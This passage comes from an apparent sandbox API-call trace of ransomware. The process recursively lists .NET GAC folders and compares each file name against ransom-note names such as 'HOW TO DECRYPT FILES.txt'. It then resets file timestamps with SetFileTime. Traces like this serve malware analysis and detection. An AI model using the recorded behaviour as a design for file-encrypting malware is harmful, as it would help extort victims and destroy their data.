lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad62891c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xad62891c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xad62891c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.AddIn.Contract.dll", cAlternateFileName="")) returned 1 [0101.785] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0101.785] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.AddIn.Contract.dll") returned -1 [0101.785] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.AddIn.Contract.dll") returned -1 [0101.785] lstrcmpiA (lpString1="", lpString2="System.AddIn.Contract.dll") returned -1 [0101.785] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.AddIn.Contract\\2.0.0.0__b03f5f7f11d50a3a\\*.*") returned="*.*" [0101.785] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\System.AddIn.Contract\\2.0.0.0__b03f5f7f11d50a3a\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\System.AddIn.Contract\\2.0.0.0__b03f5f7f11d50a3a\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\System.AddIn.Contract\\2.0.0.0__b03f5f7f11d50a3a\\" [0101.785] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.AddIn.Contract\\2.0.0.0__b03f5f7f11d50a3a\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.AddIn.Contract\\2.0.0.0__b03f5f7f11d50a3a\\") returned="" [0101.789] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0101.789] CloseHandle (hObject=0x90) returned 1 [0101.789] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad62891c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xad62891c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xad62891c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.AddIn.Contract.dll", cAlternateFileName="")) returned 0 [0101.790] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0101.790] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a4fe61, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xbf636f27, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0xbf636f27, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="2.0.0.0__b03f5f7f11d50a3a", cAlternateFileName="200~1.0__")) returned 0 [0101.790] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0101.790] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a03ba0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81a03ba0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81a03ba0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.ComponentModel.DataAnnotations", cAlternateFileName="SYSTEM~1.DAT")) returned 1 [0101.790] lstrcmpA (lpString1=".", lpString2="System.ComponentModel.DataAnnotations") returned -1 [0101.790] lstrcmpA (lpString1="..", lpString2="System.ComponentModel.DataAnnotations") returned -1 [0101.790] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0101.790] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.ComponentModel.DataAnnotations\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a03ba0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81a03ba0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81a03ba0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0101.791] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0101.791] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a03ba0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81a03ba0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81a03ba0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.791] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0101.791] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0101.791] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a03ba0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xbef8513a, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0xbef8513a, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="3.5.0.0__31bf3856ad364e35", cAlternateFileName="350~1.0__")) returned 1 [0101.791] lstrcmpA (lpString1=".", lpString2="3.5.0.0__31bf3856ad364e35") returned -1 [0101.791] lstrcmpA (lpString1="..", lpString2="3.5.0.0__31bf3856ad364e35") returned -1 [0101.791] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.ComponentModel.DataAnnotations\\*.*") returned="*.*" [0101.791] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.ComponentModel.DataAnnotations\\3.5.0.0__31bf3856ad364e35\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a03ba0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xbef8513a, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0xbef8513a, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0101.792] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0101.792] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a03ba0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xbef8513a, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0xbef8513a, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.792] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0101.792] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0101.792] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0aacedd, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0aacedd, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0aacedd, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.ComponentModel.DataAnnotations.dll", cAlternateFileName="")) returned 1 [0101.792] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0101.792] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.ComponentModel.DataAnnotations.dll") returned -1 [0101.792] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.ComponentModel.DataAnnotations.dll") returned -1 [0101.792] lstrcmpiA (lpString1="", lpString2="System.ComponentModel.DataAnnotations.dll") returned -1 [0101.792] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.ComponentModel.DataAnnotations\\3.5.0.0__31bf3856ad364e35\\*.*") returned="*.*" [0101.792] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\System.ComponentModel.DataAnnotations\\3.5.0.0__31bf3856ad364e35\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\System.ComponentModel.DataAnnotations\\3.5.0.0__31bf3856ad364e35\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\System.ComponentModel.DataAnnotations\\3.5.0.0__31bf3856ad364e35\\" [0101.792] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.ComponentModel.DataAnnotations\\3.5.0.0__31bf3856ad364e35\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.ComponentModel.DataAnnotations\\3.5.0.0__31bf3856ad364e35\\") returned="" [0101.794] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0101.794] CloseHandle (hObject=0x90) returned 1 [0101.795] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0aacedd, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0aacedd, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0aacedd, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.ComponentModel.DataAnnotations.dll", cAlternateFileName="")) returned 0 [0101.795] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0101.795] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a03ba0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xbef8513a, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0xbef8513a, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="3.5.0.0__31bf3856ad364e35", cAlternateFileName="350~1.0__")) returned 0 [0101.795] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0101.795] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdd93e76, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdd93e76, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdd93e76, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Configuration", cAlternateFileName="SYSTEM~1.CON")) returned 1 [0101.795] lstrcmpA (lpString1=".", lpString2="System.Configuration") returned -1 [0101.795] lstrcmpA (lpString1="..", lpString2="System.Configuration") returned -1 [0101.795] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0101.795] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Configuration\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdd93e76, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdd93e76, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdd93e76, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0101.796] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0101.796] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdd93e76, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdd93e76, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdd93e76, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.796] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0101.796] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0101.797] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdd93e76, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc08a99c8, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0xc08a99c8, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="2.0.0.0__b03f5f7f11d50a3a", cAlternateFileName="200~1.0__")) returned 1 [0101.797] lstrcmpA (lpString1=".", lpString2="2.0.0.0__b03f5f7f11d50a3a") returned -1 [0101.797] lstrcmpA (lpString1="..", lpString2="2.0.0.0__b03f5f7f11d50a3a") returned -1 [0101.797] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Configuration\\*.*") returned="*.*" [0101.797] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Configuration\\2.0.0.0__b03f5f7f11d50a3a\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdd93e76, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc08a99c8, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0xc08a99c8, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0101.797] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0101.798] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdd93e76, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc08a99c8, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0xc08a99c8, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.798] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0101.798] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0101.798] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d3bd2e0, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d3bd2e0, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d3bd2e0, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x68000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.configuration.dll", cAlternateFileName="")) returned 1 [0101.798] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0101.798] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.configuration.dll") returned -1 [0101.798] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.configuration.dll") returned -1 [0101.798] lstrcmpiA (lpString1="", lpString2="System.configuration.dll") returned -1 [0101.798] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Configuration\\2.0.0.0__b03f5f7f11d50a3a\\*.*") returned="*.*" [0101.798] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\System.Configuration\\2.0.0.0__b03f5f7f11d50a3a\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\System.Configuration\\2.0.0.0__b03f5f7f11d50a3a\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\System.Configuration\\2.0.0.0__b03f5f7f11d50a3a\\" [0101.798] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Configuration\\2.0.0.0__b03f5f7f11d50a3a\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Configuration\\2.0.0.0__b03f5f7f11d50a3a\\") returned="" [0101.800] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0101.800] CloseHandle (hObject=0x90) returned 1 [0101.801] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d3bd2e0, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d3bd2e0, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d3bd2e0, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x68000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.configuration.dll", cAlternateFileName="")) returned 0 [0101.801] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0101.801] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdd93e76, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc08a99c8, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0xc08a99c8, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="2.0.0.0__b03f5f7f11d50a3a", cAlternateFileName="200~1.0__")) returned 0 [0101.801] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0101.801] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdd93e76, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdd93e76, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdd93e76, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Configuration.Install", cAlternateFileName="SYSTEM~1.INS")) returned 1 [0101.801] lstrcmpA (lpString1=".", lpString2="System.Configuration.Install") returned -1 [0101.801] lstrcmpA (lpString1="..", lpString2="System.Configuration.Install") returned -1 [0101.801] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0101.801] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Configuration.Install\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdd93e76, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdd93e76, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdd93e76, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0101.802] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0101.802] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdd93e76, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdd93e76, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdd93e76, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.803] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0101.803] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0101.803] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdd93e76, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc1575020, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0xc1575020, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="2.0.0.0__b03f5f7f11d50a3a", cAlternateFileName="200~1.0__")) returned 1 [0101.803] lstrcmpA (lpString1=".", lpString2="2.0.0.0__b03f5f7f11d50a3a") returned -1 [0101.803] lstrcmpA (lpString1="..", lpString2="2.0.0.0__b03f5f7f11d50a3a") returned -1 [0101.803] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Configuration.Install\\*.*") returned="*.*" [0101.804] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Configuration.Install\\2.0.0.0__b03f5f7f11d50a3a\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdd93e76, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc1575020, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0xc1575020, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0101.804] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0101.804] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdd93e76, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc1575020, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0xc1575020, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.804] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0101.804] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0101.804] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8764527d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8764527d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8779bedf, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x14000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Configuration.Install.dll", cAlternateFileName="")) returned 1 [0101.805] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0101.805] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Configuration.Install.dll") returned -1 [0101.805] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Configuration.Install.dll") returned -1 [0101.805] lstrcmpiA (lpString1="", lpString2="System.Configuration.Install.dll") returned -1 [0101.805] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Configuration.Install\\2.0.0.0__b03f5f7f11d50a3a\\*.*") returned="*.*" [0101.805] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\System.Configuration.Install\\2.0.0.0__b03f5f7f11d50a3a\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\System.Configuration.Install\\2.0.0.0__b03f5f7f11d50a3a\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\System.Configuration.Install\\2.0.0.0__b03f5f7f11d50a3a\\" [0101.805] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Configuration.Install\\2.0.0.0__b03f5f7f11d50a3a\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Configuration.Install\\2.0.0.0__b03f5f7f11d50a3a\\") returned="" [0101.807] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0101.808] CloseHandle (hObject=0x90) returned 1 [0101.808] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8764527d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8764527d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8779bedf, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x14000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Configuration.Install.dll", cAlternateFileName="")) returned 0 [0101.808] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0101.808] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdd93e76, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc1575020, 